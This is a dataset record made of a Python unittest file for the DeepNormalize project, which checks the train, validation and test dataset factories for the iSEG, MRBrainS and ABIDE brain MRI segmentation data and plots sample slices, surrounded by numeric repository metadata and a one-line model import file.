metadata=self.custom_headers)
48.451477
78
0.628407
1,284
11,483
5.40109
0.116044
0.06186
0.063735
0.056381
0.828839
0.804037
0.791781
0.776784
0.746647
0.722422
0
0.002775
0.278324
11,483
236
79
48.65678
0.834077
0.181573
0
0.747059
0
0
0.07071
0
0
0
0
0
0.205882
1
0.088235
false
0.005882
0.029412
0
0.123529
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
118564f3e2793fb207b49c97d1b5e6c22006cc20
19,821
py
Python
tests/inputs/datasets_test.py
sami-ets/DeepNormalize
5ed53280d98a201d45bb9973e79736136273eaea
[ "MIT" ]
1
2020-05-21T20:52:48.000Z
2020-05-21T20:52:48.000Z
tests/inputs/datasets_test.py
sami-ets/DeepNormalize
5ed53280d98a201d45bb9973e79736136273eaea
[ "MIT" ]
null
null
null
tests/inputs/datasets_test.py
sami-ets/DeepNormalize
5ed53280d98a201d45bb9973e79736136273eaea
[ "MIT" ]
1
2020-05-21T20:52:54.000Z
2020-05-21T20:52:54.000Z
import unittest import matplotlib.pyplot as plt import torch from hamcrest import * from samitorch.inputs.images import Modality from torch.utils.data.dataset import Dataset from deepNormalize.inputs.datasets import iSEGSegmentationFactory, MRBrainSSegmentationFactory, \ ABIDESegmentationFactory, iSEGSliceDatasetFactory, MRBrainSSliceDatasetFactory class iSEGSliceDatasetFactoryTest(unittest.TestCase): DATA_PATH = "/mnt/md0/Data/Preprocessed/iSEG/Training" def setUp(self) -> None: pass def test_should_create_single_modality_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[32000] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_single_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[32000] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multi_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multi_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2], 0, 0.2) sample = train_dataset[32000] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multimodal_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, [Modality.T1, Modality.T2], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multimodal_input_with_two_channels(self): train_dataset, test_dataset, reconstruction_dataset, = iSEGSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2], 0, 0.2) sample = train_dataset[32000] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() class MRBrainSSliceDatasetFactoryTest(unittest.TestCase): DATA_PATH = "/mnt/md0/Data/Preprocessed/MRBrainS/DataNii/TrainingData/" def setUp(self) -> None: pass def test_should_create_single_modality_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[15000] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_single_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[15000] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multi_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multi_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.2) sample = train_dataset[15000] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multimodal_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_valid_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multimodal_input_with_two_channels(self): train_dataset, test_dataset, reconstruction_dataset, = MRBrainSSliceDatasetFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.2) sample = train_dataset[15000] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() class iSEGSegmentationFactoryTest(unittest.TestCase): DATA_PATH = "/mnt/md0/Data/Preprocessed/iSEG/Training/Patches/Aligned" def setUp(self) -> None: pass def test_should_create_single_modality_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_valid_test( self.DATA_PATH + "/Full", Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_valid_test( self.DATA_PATH + "/Full", Modality.T1, 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_single_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_test( self.DATA_PATH + "/Full", Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_test( self.DATA_PATH + "/Full", Modality.T1, 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multi_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_test( self.DATA_PATH + "/Full", [Modality.T1, Modality.T2], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multi_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_test( self.DATA_PATH + "/Full", [Modality.T1, Modality.T2], 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multimodal_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_valid_test( self.DATA_PATH + "/Full", [Modality.T1, Modality.T2], 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multimodal_input_with_two_channels(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = iSEGSegmentationFactory.create_train_valid_test( self.DATA_PATH + "/Full", [Modality.T1, Modality.T2], 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() class MRBrainSSegmentationFactoryTest(unittest.TestCase): DATA_PATH = "/mnt/md0/Data/Preprocessed/MRBrainS/TrainingData/Patches/Aligned/Full" def setUp(self) -> None: pass def test_should_create_single_modality_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.3) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.3) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_single_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.3) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.3) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multi_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.3) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multi_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.3) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_multimodal_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_valid_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.3) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) assert_that(reconstruction_dataset, instance_of(Dataset)) def test_should_produce_a_multimodal_input_with_two_channels(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, reconstruction_augmented_dataset, csv = MRBrainSSegmentationFactory.create_train_valid_test( self.DATA_PATH, [Modality.T1, Modality.T2_FLAIR], 0, 0.3) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([2, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.x[1, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() class ABIDESSegmentationFactoryTest(unittest.TestCase): DATA_PATH = "/home/pierre-luc-delisle/ABIDE/5.1/" def setUp(self) -> None: pass def test_should_create_single_modality_train_test_datasets(self): train_dataset, test_dataset, reconstruction_dataset, csv = ABIDESegmentationFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2, max_num_patches=20000) assert_that(train_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel_train_test(self): train_dataset, test_dataset, reconstruction_dataset, csv = ABIDESegmentationFactory.create_train_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show() def test_should_create_single_modality_train_valid_test_datasets(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, csv = ABIDESegmentationFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) assert_that(train_dataset, instance_of(Dataset)) assert_that(valid_dataset, instance_of(Dataset)) assert_that(test_dataset, instance_of(Dataset)) def test_should_produce_a_single_modality_input_with_one_channel(self): train_dataset, valid_dataset, test_dataset, reconstruction_dataset, csv = ABIDESegmentationFactory.create_train_valid_test( self.DATA_PATH, Modality.T1, 0, 0.2) sample = train_dataset[0] assert_that(sample.x.size(), is_(torch.Size([1, 32, 32, 32]))) plt.imshow(sample.x[0, 16, :, :], cmap="gray") plt.show() plt.imshow(sample.y[0, 16, :, :], cmap="gray") plt.show()
46.202797
168
0.702285
2,513
19,821
5.205332
0.039395
0.060393
0.079275
0.111918
0.954896
0.954896
0.954896
0.954896
0.954896
0.94664
0
0.029575
0.182887
19,821
428
169
46.310748
0.778093
0
0
0.94081
0
0
0.023864
0.012966
0
0
0
0
0.246106
1
0.127726
false
0.015576
0.021807
0
0.180685
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
119db0ef86efe7ce0cbbe641564191d586c14f2b
45
py
Python
models/__init__.py
suvojit-0x55aa/mixed-precision-pytorch
05a55f95525bb6e8b136a993f4cfb7b2dd72aed1
[ "WTFPL" ]
77
2018-12-07T09:07:47.000Z
2022-03-27T09:35:52.000Z
models/__init__.py
suvojit-0x55aa/mixed-precision-pytorch
05a55f95525bb6e8b136a993f4cfb7b2dd72aed1
[ "WTFPL" ]
5
2019-01-18T12:16:02.000Z
2020-03-25T03:41:46.000Z
models/__init__.py
suvojit-0x55aa/mixed-precision-pytorch
05a55f95525bb6e8b136a993f4cfb7b2dd72aed1
[ "WTFPL" ]
21
2019-01-11T04:16:34.000Z
2021-10-01T09:12:33.000Z
from model_factory_dict import model_factory
22.5
44
0.911111
7
45
5.428571
0.714286
0.631579
0
0
0
0
0
0
0
0
0
0
0.088889
45
1
45
45
0.926829
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7